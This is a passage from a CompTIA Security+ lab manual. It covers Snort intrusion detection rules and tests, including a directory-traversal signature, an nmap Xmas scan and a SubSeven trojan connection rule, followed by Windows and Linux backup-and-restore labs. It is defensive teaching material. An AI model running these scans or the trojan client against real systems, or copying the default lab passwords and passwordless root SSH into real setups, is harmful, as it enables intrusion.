This will take you to the line that has the rule that will alert on the directory traversal
attack. 1113 is the SID (Snort ID). This is the unique ID that Snort uses when referencing
particular signatures.
ch09.indd 276 11/17/10 11:34:27 AM
Lab 9.2w: Using an Intrusion Detection System (Snort) in Windows 277
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Here is the rule entry:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"WEB-MISC http directory traversal"; flow:to_server,established;
content:"../"; reference:arachnids,297; classtype:attempted-recon; sid:1113;
rev:5;)
A rule is made up of a rule header and a rule body. The rule header contains the rule action,
protocol, source, and destination. The rule action is what will take place if the conditions in
the rest of the rule are met. In this case it will set off an alert.
The protocol that the rule is checking for is TCP.
The source and destination are $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS.
This portion is checking for traffic that is coming from an external network. The word
“any” refers to any port. The -> signifies the direction the traffic is going in, which is to the
HTTP server on the HTTP port. Recall that these are variables that you established in the
configuration file.
While the rule body is not necessary for the rule to work, it allows you to add more precision
to the rule. Each section of the body is in the form
optionname: option;
In the preceding rule, the option names are
msg• This sets the message that will show up in the alert logs.
flow• This defines the packet’s direction, in this case from a web client to the web server, and that the connection must be established (which means the three-way handshake must
have been completed).
content"../"• This tells the detection engine to look for these characters in the packet. This is the string of characters that actually performs the directory traversal.
reference:arachnids,297;• This is for external references to find out more about the rule and the attack the rule is alerting on. In this case it refers to advanced reference
archive of current heuristics for network intrusion detection systems. It is a database of
network attack signatures hosted at www.whitehats.com.
classtype:attempted-recon• This allows you to set a meaningful categorization for a rule. It can then be used to set severity as well as other uses for logging and analysis.
sid:1113• This is the Snort ID.
rev:5;• This is the rule revision number.
Close the web-misc.rules file.14.
Close the c:\snort\rules window.15.
ch09.indd 277 11/17/10 11:34:28 AM
Chapter 9: Preparing for and Detecting Attacks 278
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Step 7: Use an Xmas scan and directory traversal attack a second time and check the logs
(preprocessor).
On the command line, type 1. snort –l c:\snort\log –c c:\snort\etc\snort_detection.conf and press enter.
On the Windows XP computer:
On the command line, type 2. nmap –sX 192.168.100.102 and press enter.
After a couple of seconds, the scan will complete.
Restore Internet Explorer and click the Refresh button.3.
On the Windows 2003 Server computer:
In the Command Prompt window, press 4. ctrl-c. This will stop Snort.
You will get the Snort summary output screen.
How many packets did Snort receive?a.
How many of the packets were TCP?b.
How many alerts are there?c.
Why is the number of alerts so different from the number of alerts in the previous run d. of Snort?
Restore the C:\snort\log window.5.
Double-click the alert file.6.
Notice that there are no alerts for the Xmas scan but there is an entry for the directory
traversal attack:
[**] [1:1113:5] WEB-MISC http directory traversal [**]
[Classification: Attempted Information Leak] [Priority: 2]
01/24-02:53:05.992430 192.168.100.101:1068 -> 192.168.100.102:80
TCP TTL:128 TOS:0x0 ID:650 IpLen:20 DgmLen:347 DF
***AP*** Seq: 0x1E0E2E16 Ack: 0x10FA0313 Win: 0xFAF0 TcpLen: 20
[Xref => arachnids 297]
Close the log file.7.
Delete the logs.8.
Step 8: Create a rule.
You will start by writing a simple rule that will detect a SubSeven connection attempt.
Choose Start | Run.1.
In the Open field, type 2. notepad and press enter.
ch09.indd 278 11/17/10 11:34:28 AM
Lab 9.2w: Using an Intrusion Detection System (Snort) in Windows 279
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
In Notepad, type the following:3.
alert tcp any any -> any 27374 (msg:"SubSeven Connection Attempt";)
Choose File | Save As.4.
In the Save In combo box, navigate to c:\snort\rules\.5.
In the File Name combo box, type 6. subseven.rules.
Make sure the Save as Type combo box is set to All Files. If it is not, the file will be saved with 7. a .txt extension.
Click Save.8.
In the preceding rule, you are telling Snort to alert you if any TCP traffic coming from any
IP and port attempts to connect to any computer on port 27374. It then gives you a message of
“SubSeven Connection Attempt.”
Click Open and select snort_detection.conf.9.
Keep only the first three lines and delete the rest. The lines you will delete are10.
var HTTP_SERVERS 192.168.100.102
var HTTP_PORTS 80
preprocessor flow
include classification.config
include $RULE_PATH/web-misc.rules
Add the line 11. include $RULE_PATH/subseven.rules.
Choose File | Save As.12.
In the Save In combo box, navigate to c:\snort\etc\.13.
In the File Name combo box, type 14. snort_subseven.conf.
Make sure the Save as Type combo box is set to All Files. If it is not, the file will be saved with 15. a .txt extension.
Click Save.16.
Close Notepad.17.
On the command line, type 18. snort –l c:\snort\log –c c:\snort\etc\snort_subseven.conf and press enter.
Step 9: Test the rule.
On the Windows XP computer:
On the Desktop, open Tools | sub7 folder.1.
Double-click subseven.2.
ch09.indd 279 11/17/10 11:34:28 AM
Chapter 9: Preparing for and Detecting Attacks 280
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
In the IP box, type 3. 192.168.100.102 and click Connect.
After a few seconds, click Disconnect.4.
On the Windows 2003 Server PC:
Press 5. ctrl-c to stop Snort.
Double-click the alert file.6.
Notice that your rule picked up the connection attempt by SubSeven.
Close the alert file.7.
Delete the alert file.8.
Test the rule one more time.
On the command line, type 9. snort –l c:\snort\log –c c:\snort\etc\snort_subseven.conf and press enter.
On the Windows XP computer:
At the command prompt, type 10. telnet 192.168.100.102 27347 and press enter three times.
On the Windows 2003 Server PC:
Press 11. ctrl-c to stop Snort.
Restore Internet Explorer and click the Refresh button.12.
Double-click the alert file.13.
Notice that your rule picked up the connection attempt by the telnet command. This is a false
positive. In order for this rule to be accurate, it will need further modification.
Can you think of some ways that you could find more information about SubSeven to create a
more precise rule?
Close the alert file.14.
Step 10: Log off from the Windows XP Professional and Windows 2003 Server PCs.
At the Windows XP Professional PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
At the Windows 2003 Server PC:
Choose Start | Shutdown.1.
At the Shutdown Windows screen, click the drop-down arrow and select Log Off Administrator.2.
Click OK.3.
ch09.indd 280 11/17/10 11:34:29 AM
Lab 9.2w: Using an Intrusion Detection System (Snort) in Windows 281
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Lab 9.2 Analysis Questions The following questions apply to the lab in this section:
What is the command for Snort to act as a sniffer and dump all output to a log folder?1.
Write the configuration file that will use the frag4 preprocessor as well as the web-misc and 2. dos rules.
In the alert log, you find the following alert:3.
[**] [1:273:7] DOS IGMP dos attack [**] [Classification: Attempted Denial of
Service]
[Priority: 2] 01/25-08:01:36.973062 48.172.4.8 -> 192.168.100.202
IGMP TTL:255 TOS:0x0 ID:34717 IpLen:20 DgmLen:36 MF
Frag Offset: 0x0001 Frag Size: 0x0010
What type of attack is it?a.
What is the IP address of the offending computer?b.
What is the Snort ID and what revision of the rule is it?c.
You have read that there is a new attack called Rh1n0 that targets computers on port 37332 4. and contains the following string of characters: “all your bases are belong to us”.
Write a rule that would alert you when this attack was attempted.
Lab 9.2 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
alerts
anomalous traffic
detection engine
false negative
ch09.indd 281 11/17/10 11:34:29 AM
Chapter 9: Preparing for and Detecting Attacks 282
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
false positive
intrusion detection system (IDS)
preprocessor
ruleset
signatures
sniffer
Snort
1. Creating a rule that is too general can lead to an alert that is a(n) _______________________.
2. The _______________ is used to detect anomalous traffic and process the data.
3. The _________________ contains the conditions that the detection engine uses to look for a match when analyzing the data.
4. An IDS can detect potential malicious usage through analysis of _______________.
5. An IDS uses a(n) ______________ to capture data for analysis.
Suggested Experiments Use a sniffer such as Snort or Wireshark to capture SubSeven connection attempts. See if you 1. can discover the content that is unique to it and write a rule to alert on future attempts.
Investigate how IDS/IPS systems are implemented on routers and Wireless networks. Look 2. at the following URL: http://www.cisco.com/en/US/docs/solutions/Enterprise/Mobility/
secwlandg20/wireless_ips.html#wp873471
References Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapters 13 and 15.
Snort• www.snort.org
Lab 9.3: Backing Up and Restoring Data Backing up data is one of the most important security measures that you can implement. Disasters
may happen even with an expertly configured firewall, up-to-date virus signatures, and an intrusion
detection system running. If the data is destroyed or corrupted, the only hope you have of retrieving
the data is from a properly configured backup.
A backup is simply a copy of the data you have, sometimes in compressed format. A backup job is
an instruction to the computer that identifies the date, time, and files designated to be backed up. Files
will be backed up to the backup media. This can be a network share, a tape device, or some other drive
of appropriate size.
ch09.indd 282 11/17/10 11:34:29 AM
Lab 9.3: Backing Up and Restoring Data 283
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Since data on a computer will change quite often depending on the purpose and use of the computer
system, the backup files may become out of date. For this reason, a backup should be performed on a
regular basis.
There are several types of backups that can be performed: normal, differential, and incremental.
Each type of backup has some advantages and disadvantages when backing up and restoring data
(restoring is the process of retrieving data from a backup). A normal backup, also known as a full
backup, will copy all the designated files. This type of backup takes the longest to complete, but is the
quickest to restore. Since there is usually only one media item that contains the full backup, only one
is needed to restore and as such is the quickest to restore. A differential backup copies all the files
that have changed since the last full backup. This takes less time to back up, since not all the files
are being copied, but takes longer to restore since there will be two media items to restore: the full
backup media and the differential backup media. It is important to note that each day that passes
between full backups, the differential backup will take longer and longer, since the changes in data are
accumulating.
An incremental backup backs up the data since the last backup, whether full or incremental. This
means that if you did an incremental backup each day, you would only back up the files that changed
that day. As a result, the backup times are usually shorter. However, restoring can take much longer.
Depending on how many incremental backups were done since the last full backup, the restore process
will take longer and be more tedious.
Backing up files is an important skill, but restoring files is equally important. The time to test out
the restore process is not during a disaster recovery incident. Horror stories abound of administrators
who backed up regularly but came to find out after disaster hits that some key data was not being
saved or that the restore process was improperly configured. Also, it is always important to remember
to write-protect the media when restoring the data. You would not want to inadvertently erase data
when you are in a data recovery situation. As backups are insurance against data loss, they should also
be stored in a remote location to protect them from fire and other local environmental issues near the
computer.
In this lab, you will configure the computer to back up files; you will delete the files and then
restore them.
Learning Objectives At the end of this lab, you’ll be able to
Configure the computer to back up designated data.•
Restore data after a loss of data.•
Explain some of the concerns involved when backing up and restoring data.•
ch09.indd 283 11/17/10 11:34:29 AM
Chapter 9: Preparing for and Detecting Attacks 284
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
S 60 minutes
Lab 9.3w: Backing Up and Restoring Data in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
Step 2: Create a network share and map a network drive.
Step 3: Create new files.
Step 4: Configure and run a full backup.
Step 5: Modify and delete files.
Step 6: Configure and run a differential backup.
Step 7: Delete all files.
Step 8: Restore the full backup and check files.
Step 9: Restore the differential backup and check files.
Step 10: Restore the differential backup again and check files.
Step 11: Log off from the Windows XP Professional and Windows 2003 Server PCs.
Lab Steps
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
ch09.indd 284 11/17/10 11:34:30 AM
Lab 9.3w: Backing Up and Restoring Data in Windows 285
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Step 2: Create a network share and map a network drive.
On the Windows 2003 Server PC:
Choose Start | Windows Explorer.1.
Select Local Disk C: Drive.2.
Choose File | New | Folder.3.
Name the folder 4. Data and press enter.
Right-click the folder and select Sharing and Security.5.
On the Data Properties Sharing tab, select Share This Folder and click Apply.6.
Click the Security tab and then click Advanced.7.
Clear the Allow Inheritable Permissions check box.8.
On the Security window that pops up, click Remove.9.
Click Add.10.
On the Select Users or Group screen, type 11. Administrator and then click OK to confirm the selection.
In the Permissions section, check the Allow Full Control check box.12.
On the Data Properties window, click OK.13.
On the Windows XP computer:
Choose Start | Run.14.
Type 15. \\192.168.100.102 and click OK.
In the Connect to Win2k3serv dialog box, enter the username 16. Administrator and the password adminpass and then click OK.
Right-click the Data network share and select Map Network Drive.17.
In the Map Network Drive dialog box, select H: for the drive letter and click Finish.18.
Close the H: window.19.
Close the 192.168.101.102 window.20.
Step 3: Create new files.
You will first create three WordPad files to use for this exercise. You will use these files to demonstrate
the process of backing up and restoring and the effects of the different types of backups.
On the Windows XP computer:
Choose Start | My Documents.1.
In the My Documents window, choose File | New | Folder.2.
ch09.indd 285 11/17/10 11:34:30 AM
Chapter 9: Preparing for and Detecting Attacks 286
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Name the folder Office Documents.3.
Double-click the Office Documents folder.4.
You created this folder to simulate a folder you might keep work documents in. It is a good
idea to keep important data in an easy to locate and thus easy to back up location. When files
are kept in various locations throughout a directory structure, backing up files can be more
complicated.
In the Office Documents window, choose File | New | WordPad Document.5.
Name the file 6. Letter to Bob.
Double-click the file.7.
In WordPad, type the following:8.
Dear Bob,
Due to your poor performance on your last account, you are fired.
Management
Choose File | Save.9.
Close WordPad.10.
Create two more WordPad files named 11. file2 and file3. Make sure to type something into each of the files. If they are empty files, they will not be backed up.
Step 4: Configure and run a full backup.
Choose Start | Run.1.
In the Open field, type 2. ntbackup and click OK.
In the Backup or Restore Wizard dialog box, click Advanced Mode.3.
Click the Backup tab, as shown in Figure 9-5.4.
In the top portion of the Windows Backup interface, you can select which files and folders
you wish to back up. At the bottom, you select a destination for the backup. In the next steps,
you are going to create two backup scripts. One will be a full backup of the Office Documents
folder and one will be a differential backup.
Expand My Documents and check the Office Documents check box.5.
In the Backup Media or File Name text box, type 6. H:\Full-Backup.bkf (this is the location where the backup files will be saved).
Choose Tools | Options.7.
You will see that the default backup type is Normal (which is full). This means that all the
files will be saved.
ch09.indd 286 11/17/10 11:34:30 AM
Lab 9.3w: Backing Up and Restoring Data in Windows 287
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Click OK.8.
Choose Job | Save Selections.9.
In the File Name box, type 10. full-officedocs-backup, select the My Documents folder on the left, and click Save. (This is the script file that executes to save the files and to do the type of
backup selected.)
Click Start Backup.11.
The backup program will allow you to choose between appending or replacing the data that is
already there. Appending the data does not overwrite the data but rather adds it to the end of
the last backup. This uses up more space but keeps more copies of the backups. Replacing the
data will save space, but you will only have the data from the last backup. You will keep this
selection.
Click Start Backup.12.
Click Close when complete.13.
Minimize the Backup Utility window.14.
Figure 9-5 Windows Backup interface
ch09.indd 287 11/17/10 11:34:31 AM
Chapter 9: Preparing for and Detecting Attacks 288
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Step 5: Modify and delete files.
In the Office Documents folder, delete 1. File2.
Double-click Letter to Bob.2.
Change the contents to say3.
Dear Bob,
Due to your excellent performance on your last account, you can expect a
substantial bonus.
Management
Choose File | Save.4.
Close WordPad.5.
Step 6: Configure and run a differential backup.
Restore the Backup Utility window.1.
Choose Job | New.2.
Check the Office Documents check box.3.
In the Backup Media or File Name text box, type 4. H:\Diff-Backup.bkf.
Choose Job | Save Selections As.5.
In the File Name box, type 6. diff-officedocs-backup and click Save.
Click Start Backup.7.
Click Advanced.8.
For Backup Type, select Differential and click OK.9.
The differential backup will only back up the files that have changed since the last full backup.
Make sure that Append is selected.10.
Click Start Backup.11.
Click Close when complete.12.
Minimize the Backup Utility window.13.
Step 7: Delete all files.
You will simulate the accidental (or intentional) deletion of these files, and then you will see how to
restore the files.
Double-click Office Documents.1.
Press 2. ctrl-a to select all files.
ch09.indd 288 11/17/10 11:34:31 AM
Lab 9.3w: Backing Up and Restoring Data in Windows 289
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Press 3. delete.
Click Yes to delete all files.4.
Right-click Recycle Bin on the Desktop and select Empty Recycle Bin.5.
Step 8: Restore the full backup and check files.
On the Backup Utility window, click the Restore and Manage Media tab.1.
Expand File on the left.2.
You will see the two backup sessions, the full backup and the differential backup (see Figure 9-6).
Double-click the Full backup listed on the left and then check the check box on the right for 3. the C drive.
Make sure the Restore Files To box reads Original Location.4.
Click Start Restore.5.
On the Confirm Restore screen, click OK.6.
In the Confirm Name/Location dialog box, click OK.7.
On the Check Backup File Location screen, ensure that 8. H:\Full-backup.bkf is in the text box and click OK.
Figure 9-6 Performing a full restore
ch09.indd 289 11/17/10 11:34:31 AM
Chapter 9: Preparing for and Detecting Attacks 290
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
The restore process will begin.
When the restore is done, click Close and minimize the Backup Utility window.9.
Return to the My Documents window.10.
Notice that all the files are back in the My Documents folder, including the file you deleted.
Double-click Letter to Bob.11.
Notice, however, that the letter to Bob is still the old one. This is bad since you do not want
Bob to think he is fired when in fact you are happy with his performance. You’ll next retrieve
the correct version in Step 9.
Close the Letter to Bob file.12.
Step 9: Restore the differential backup and check files.
Restore the Backup Utility window.1.
On the Restore and Manage Media tab, select the differential backup on the left and check the 2. check box on the right.
Click Start Restore.3.
On the Confirm Restore screen, click OK. The Restore process will begin.4.
When the restore is done, click Close.5.
Minimize the Backup Utility window.6.
Return to the My Documents window.7.
Notice that all the files are back in the My Documents folder, including the file you deleted. It
is still there even though you deleted it.
What security issue might arise from a file that was deleted being restored?
Double-click Letter to Bob.8.
Notice that the letter to Bob is still the old one even after doing the differential restore.a.
What security issue could this present if the correct version of the letter is not restored?b.
Do you know why the original file is still there?c.
Step 10: Restore the differential backup again and check files.
Restore the Backup Utility window.1.
On the Restore and Manage Media tab, select the differential backup on the left, and check 2. the check box on the right.
ch09.indd 290 11/17/10 11:34:32 AM
Lab 9.3w: Backing Up and Restoring Data in Windows 291
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Choose Tools | Options.3.
Click the Restore tab.4.
Notice that the selection is Do Not Replace the File on My Computer (Recommended). Since
this was the selection, the older file was not replaced by the newer one contained in the
differential backup.
Why would the recommended choice be Do Not Replace the File on My Computer?
Select Always Replace the File on My Computer and click OK.5.
Ensure that the check box is checked. Click Start Restore.6.
On the Confirm Restore screen, click OK.7.
The restore process will begin.
When the restore is done, click Close.8.
Return to the My Documents window.9.
Double-click Letter to Bob.10.
Notice that now the letter to Bob is the latest version.
Notice also that file3 is still there. Which is easier to report in a backup, that a file has
changed or that a file has been deleted? It does not appear that this system records and
restores file deletions.
Next, check the logs to see if it was reported that a file was deleted.
Restore the Backup Utility window.11.
Choose Tools | Report and double-click the last report in the window in Backup Reports.12.
You should see a line under each backup operation labeled Files. Do you see a line reporting
file deletions?
Close the report and all other windows.13.
Step 11: Log off from the Windows XP Professional and Windows 2003 Server PCs.
At the Windows XP Professional PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
At the Windows 2003 Server PC:
Choose Start | Shut Down.1.
At the Shut Down Windows screen, click the drop-down arrow and select Log Off Administrator.2.
Click OK.3.
ch09.indd 291 11/17/10 11:34:32 AM
Chapter 9: Preparing for and Detecting Attacks 292
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
S 50 minutes
Lab 9.3l: Backing Up and Restoring Data in Linux
Materials and Setup You will need the following:
Metasploitable•
BackTrack•
Lab Steps at a Glance
Step 1: Log on to the BackTrack and Metasploitable PCs.
Step 2: Install backuppc and configure the Metasploitable server.
Step 3: Set up labuser on the BackTrack PC and prep the machine to be a backup.
Step 4: Manage the backuppc front end.
Step 5: Delete all home directory files, restore the full backup, and inspect the restoration.
Step 6: Log off from the BackTrack and Metasploitable PCs.
Lab Steps
Step 1: Log on to the BackTrack and Metasploitable PCs.
To log on to the BackTrack PC:
At the login prompt, type 1. root and press enter.
At the password prompt, type 2. toor and press enter.
To log on to the Metasploitable PC:
At the login prompt, type 1. msfadmin and press enter.
At the password prompt, type 2. msfadmin and press enter.
Step 2: Install backuppc and configure the Metasploitable server.
On the Metasploitable machine, you will first become the superuser. The superuser is the equivalent to
the root or administrator user.
Type 1. sudo su - and press enter.
At the password for msfadmin prompt type 2. msfadmin and press enter.
ch09.indd 292 11/17/10 11:34:32 AM
Lab 9.3l: Backing Up and Restoring Data in Linux 293
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Note that the prompt should change now to root@linuxserv to indicate you are currently the
root (administrator) user. You can start the installation of backuppc now.
To install the backuppc application:
Type 3. apt-get install backuppc and press enter.
In the Configuring backuppc screen, use the 4. arrow keys, go to apache2, press the spacebar to select it, and then press enter.
On the next screen a new user and password will be automatically created to use the 5. backuppc web interface. Read the screen carefully.
What is the URL that BackupPC can be managed through?a.
What is the username that you will use?b.
What is the password for the new user?c.
Press 6. enter to continue.
Although a password has been created for you, for the purposes of this exercise we will change it.
To change the password, type 7. htpasswd /etc/backuppc/htpasswd backuppc and press enter.
At the new password: prompt, type a. backUpAdmin and press enter.
At the re-type new password: prompt, type b. backUpAdmin again and press enter.
A user has also been created for the operating system. To change the user password:
Type 8. passwd backuppc and press enter.
At the new UNIX password prompt, type a. backUpAdmin and press enter.
At the Retype new UNIX password prompt, type b. backUpAdmin and press enter.
Next, you will become the backuppc user and create an SSH key pair for backuppc program.
Type 9. su - backuppc and press enter.
Type 10. id and press enter.
What is the uid number?a.
What is the uid name?b.
Type 11. ssh-keygen –t rsa and press enter.
At the Enter file in which to save the key prompt, press a. enter.
At the Enter passphrase prompt, press b. enter.
At the Enter same passphrase again prompt, press c. enter.
This will create a public key for the backuppc account called ~/.ssh/id_rsa.pub.
Write down the key fingerprint.d.
You can now exit that user ID and return to being the superuser.
ch09.indd 293 11/17/10 11:34:33 AM
Chapter 9: Preparing for and Detecting Attacks 294
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Type 12. exit and press enter. Verify that you are now root by typing id and pressing enter.
You will now configure the backuppc application.
Go to the backuppc configuration directory, type 13. cd /etc/backuppc, and press enter.
Edit the configuration file by typing 14. pico config.pl and pressing enter.
We will change the default backup method from smb to rsync by changing an entry in the file.
Press 15. ctrl-w to enter a search phrase.
At the Search: prompt type {16. XferMethod} and press enter.
Change $Conf{XferMethod} = 'smb' to 17. $Conf{XferMethod} = 'rsync';
To exit pico, press18. ctrl-x and press y to save, and then press enter to keep the same name.
To use this new configuration we will need to restart the backuppc program.
Type 19. /etc/init.d/backuppc restart and press enter.
Step 3: Set up labuser on the BackTrack PC and prep the machine to be a backup.
In this lab, you will be backing up the BackTrack PC. To do so, though, you have to have an account
with data, and the machine needs to be able to accept SSH connections to the root account without
a password. Note that on a well-configured machine, this may not be allowed as part of the sshd
configuration.
On the BackTrack PC, you will create an SSH key and prepare this root account’s SSH directories.
Type 1. ssh-keygen –t rsa and press enter.
At the Enter file in which to save the key prompt, press a. enter.
At the Enter passphrase prompt, type b. backUpAdmin and press enter.
At the Enter same passphrase again prompt, type c. backUpAdmin and press enter.
This will create a public key for the backuppc account called ~/.ssh/id_rsa.pub.
Write down the key fingerprint.d.
Type 2. scp backuppc@linuxserv:.ssh/id_rsa.pub .ssh/authorized_keys2 and press enter.
At the Are you sure you want to continue connection prompt, type a. yes and press enter. This should display the key created on the Metasploitable machine in step 2-11.
At the password: prompt, type b. backUpAdmin and press enter.
➜ Note
This method works fine for a single machine in a controlled environment. In a production
environment, you would copy id_rsa.pub to a name like backuppc-publicid, copy that file to the
machine, and then append that file to the authorized_keys2 files on each machine.
ch09.indd 294 11/17/10 11:34:33 AM
Lab 9.3l: Backing Up and Restoring Data in Linux 295
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
You will now set up the SSH server and start it.
Type 3. setup-sshd and press enter.
You have just created a host SSH key for this machine. We will test this by going to the
Metaspoitable machine.
On the Metasploitable PC:
Type 4. su – backuppc and press enter.
Type 5. ssh root@linuxcl and press enter.
At the Are you sure you want to continue connection prompt, type yes and press enter.
You should then get the root prompt, root@linuxcl#. While you are on the Metasploitable PC,
you are actually at the command prompt for the BackTrack PC. This indicates you have set up
the accounts correctly.
Type 6. exit and press enter to return to prompt to the Metasploitable machine.
On the BackTrack PC, we will create a file for backing up and restoring. We will create a letter
to a person named John. We will do this in the labuser account.
On the BackTrack PC:
Type 7. su – labuser and press enter.
Type 8. cat > letterforjohn and press enter.
Type 9. John, your services are no longer needed at our firm. Press enter and then press ctrl-d to end the file.
To see that the file has been created, type 10. ls and press enter.
To see the contents of the letter, type 11. cat letterforjohn and press enter.
While this is just a simple text file, how we back it up and restore it will be the same as for
larger files.
You will now copy the file /etc/passwd to this account.
Type 12. cp /etc/passwd passwd and press enter.
Use the ls and cat command to list the directories and to see the contents of the passwd file
you just created.
Type 13. exit and press enter to return to being root.
Step 4: Manage the backuppc front end.
You are going to use the front end of the backuppc. This is a web page that you can run from anywhere
that can connect to the server machine.
ch09.indd 295 11/17/10 11:34:33 AM
Chapter 9: Preparing for and Detecting Attacks 296
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
On the BackTrack PC:
Type 1. startx and press enter. This will start the GUI.
Click on the Firefox icon in the taskbar.2.
Enter the URL 3. http://linuxserv/backuppc and press enter.
In the Authentication Required window, enter the username 4. backuppc and the password backUpAdmin and then click OK.
You will see the backup status page, as displayed in Figure 9-7.
Click Edit Config on the left, and then click Xfer. 5.
In the RsyncShareName section, in the Insert text box, change / to 6. /home.
This configures the directory to be backed up. You are only backing up the home directories,
not the entire system as would have been the case with just the “/”.
Figure 9-7 The backup status page
ch09.indd 296 11/17/10 11:34:34 AM
Lab 9.3l: Backing Up and Restoring Data in Linux 297
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Click the red Save button to save the new configuration.7.
You will now delete the default host and add the new host.
Click Hosts. You should see localhost with a user of backuppc.8.
Click the Delete button next to localhost.9.
Click the Add button next to Hosts.10.
For hostname, type 11. linuxcl, and for user, enter labuser, and then click Save.
You should now be set up to back up the machines.
On the left, click the Status link.12.
Click the Select a Host drop-down list and select linuxcl.13.
➜ Note
Because you just changed the hosts, there might be temporary errors, which you can ignore.
You will be told that the machine has never been backed up but that the last status is “idle.”
This is good.
In the Users Actions section, click Start Full Backup.14.
On the Are you sure? screen, click Start Full Backup.15.
The screen heading will change to Backup requested on linuxcl by backuppc.
On the left, click on linuxcl Home.16.
This will display the backup summary for linuxcl.
Click on Browse backups17.
This will show the backups that have been completed.
In the Contents of /home section, under the Name column, click labuser.18.
This will show a list of the files that were backed up.
Step 5: Delete all home directory files, restore the full backup, and inspect the restoration.
In the taskbar click the Konsole icon.1.
You will delete all the files from the home directory of the labuser.
Type ls ~labuser/ and press 2. enter. This will show the contents of the folder.
Type 3. rm ~labuser/*, and press enter. All your files in the labuser directory have been deleted.
ch09.indd 297 11/17/10 11:34:34 AM
Chapter 9: Preparing for and Detecting Attacks 298
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Type 4. ls ~labuser/ and press enter. The folder should be empty
You will now restore the files from the backup server.
Return Firefox and the Backuppc interface. Click on Browse Backups.5.
Select the box next to labuser and then click Restore Selected Files.6.
On the Restore Options for linuxcl screen under the Option 1 section, click Start Restore.7.
On the Are you sure? screen click Restore.8.
On the Restore requested screen, click on the linuxcl home page link.9.
This will show you a summary of the restore process.
Now check if the files were actually restored.
In the Konsole window type 10. ls ~labuser and press enter.
You should now see the files letterforjohn and passwd.
Step 6: Log off from the BackTrack and Metasploitable PCs.
On the Metasploitable PC:
At the command prompt, type 1. exit and press enter. (This will exit the ssh session.)
Then type 2. logout and press enter. (This will exit out of the backuppc user mode.)
Once again type 3. logout and press enter. (This will log you out of the session.)
On the BackTrack PC:
Select the K Menu-> logout, and click the Log Out button.1.
At the prompt, type 2. logout and press enter.
Lab 9.3 Analysis Questions The following questions apply to the labs in this section:
Why is remote storage of backup media so important?1.
What are some of the security issues associated with backups?2.
Sketch out a backup plan using weekly full backups and daily incremental backups, keeping 3. 28 days of history. Assuming one tape for incremental backups and four tapes for full backups,
how many tapes are needed?
ch09.indd 298 11/17/10 11:34:34 AM
Lab 9.3l: Backing Up and Restoring Data in Linux 299
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Think through the pros and cons of maintaining all corporate data on file servers and not on 4. client PCs. How do backups fit into the picture? How frequently should backups be made?
Lab 9.3 Key Terms Quiz Use these key terms from the labs to complete the sentences that follow:
backup
backup job
backup media
differential backup
full backup
incremental backup
normal backup
remote location
restore
1. Backing up of only changed data since the last complete backup is called a(n) __________________ or a(n) ___________________________.
2. Using a backup to recover a lost file involves using the _________________ function.
3. Managing backups through scripts and scheduled jobs is typically referred to as a(n) ___________________.
4. Making a complete backup copy of all data is referred to as a(n) ________________________ or a(n) ________________________.
5. Backups are stored on _____________________________ at a(n) _____________________.
